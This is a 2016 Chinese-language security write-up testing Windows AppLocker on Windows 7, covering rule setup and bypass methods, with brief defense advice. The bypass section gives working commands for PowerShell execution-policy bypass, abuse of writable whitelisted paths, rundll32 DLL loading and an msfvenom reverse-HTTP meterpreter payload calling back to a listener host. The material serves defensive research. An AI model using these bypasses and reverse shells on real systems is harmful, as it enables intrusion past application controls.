作者:
三好學生
·
2016/01/18 10:31
0x00 前言
上一次我們對McAfee Application Control做了測試,這次接著對另一款白名單工具Windows AppLocker進行測試,分享一下其中的攻防技術。
0x01 簡介
Windows AppLocker,即“應用程式控制策略”,可用來對可執行程式、安裝程式和指令碼進行控制,之前只能支援windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微軟在2012年10月18日將其更新,已支援Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise
如圖
AppLocker可對以下檔案格式建立規則,限制其執行
下面我們就實際測試一下相關功能
0x02 配置
測試環境:
#!bash
OS:Windows7 Ultimate x86
1、開啟服務
進入計算機管理-服務-Application Identity,將服務設定為開啟
如圖
2、進入AppLocker配置介面
輸入secpol.msc
進入本地安全策略-應用程式控制策略-AppLocker
或者gpedit.msc
-計算機配置-Windows設定-安全設定-應用程式控制策略-AppLocker
如圖
3、配置規則
對可執行檔案設定預設規則:
- 允許本地管理員組的成員執行所有應用程式。
- 允許 Everyone 組的成員執行位於 Windows 資料夾中的應用程式。
- 允許 Everyone 組的成員執行位於 Program Files 資料夾中的應用程式。
如圖
對指令碼設定預設規則:
- 允許本地管理員組的成員執行所有指令碼。
- 允許 Everyone 組的成員執行位於 Program Files 資料夾中的指令碼。
- 允許 Everyone 組的成員執行位於 Windows 資料夾中的指令碼。
如圖
開啟預設規則後,除了預設路徑可以執行外,其他路徑均無法執行程式和指令碼
0x03 測試
1、執行exe
2、執行指令碼
0x04 安全機制分析
透過測試發現設定的規則已經生效,能夠阻止信任路徑外的exe和指令碼執行,但是對以下方面沒有做限制:
- 記憶體
- Office 宏
- HTML Applications,即hta檔案
- powershell
而我們已經掌握的繞過技術有:
- 利用hta檔案
- 利用jscript
- 利用powershell
- 利用InstallUtil
- 利用regsvcs
再加上新學來的技巧,我們最終發現瞭如下可供利用的方法:)
0x05 繞過方法
1、hta
成功
(可參照/tips/?id=10667)
可用來執行vbs和JavaScript指令碼
2、提權
提權到管理員許可權,即可執行突破AppLocker的限制,執行exe和指令碼
3、powershell
(1)可以執行ps指令碼
#!bash
PowerShell.exe -ExecutionPolicy Bypass -File
(2)可以透過如下方式執行ps指令碼
#!bash
Get-Content script.txt | iex
(3)可以利用快捷方式執行Powershell
成功
(可參照/tips/?id=10667)
4、程式注入
既然可以執行powershell指令碼,那麼就可以反彈出meterpreter
然後嘗試程式注入
(可參照/tips/?id=11305)
如果注入到普通許可權程式,無法執行exe和指令碼
如果是system許可權程式,可以執行exe和指令碼
5、查詢可利用的檔案路徑
透過ps指令碼掃描可寫入的路徑
下載地址:http://go.mssec.se/AppLockerBC
(如果無法下載,我已將該指令碼上傳至Github)
測試如圖
執行後會自動掃描出可利用的路徑
比如選擇路徑:c:\Windows\Tasks
正常執行calc.js會被攔截
但是copy calc.js c:\Windows\Tasks
後
再執行c:\Windows\Tasks\calc.js
,可以繞過攔截
如圖
6、rundll32
(1)執行JavaScript
a、直接彈回一個Http shell
(可參照/tips/?id=11764)
但無法繞過對執行exe和指令碼的攔截
b、利用JavaScript執行powershell命令返回HTTP shell
(2)載入第三方dll
a、自己編寫的dll
參考資料:
http://blog.didierstevens.com/2010/02/04/cmd-dll/
按照dll的格式,自己編寫並生成dll上傳
執行
#!bash
rundll32.exe cmd.dll,Control_RunDLL
彈出一個cmd
如圖
b、反彈meterpreter
kali下:
#!bash
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
生成a.dll,然後上傳至測試主機
執行
#!bash
rundll32.exe a.dll,Control_RunDLL
即可上線
如圖
7、利用InstallUtil
利用InstallUtil.exe直接執行shellcode 成功
如果有Microsoft .NET Framework 4.0環境,可用來執行exe
(可參照/tips/?id=8701,/tips/?id=8862)
8、利用regsvcs
成功
(可參照/tips/?id=10667)
0x06 防禦
- 嚴格控制檔案寫入許可權
- 禁用mshta.exe阻止hta的執行
- 禁用powershell
- 防止被提權
0x07 小結
隨著研究的逐漸深入,我們不難發現:利用InstallUtil、regsvcs是繞過白名單限制的一把利器,無論是攻擊還是防禦,對此部分都要尤其重視。
而利用rundll32.exe的技巧,正在慢慢被髮掘。
0x08 參考資料:
相關檔案下載地址:
https://github.com/3gstudent/Bypass-Windows-AppLocker
本文由三好學生原創並首發於烏雲drops,轉載請註明
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!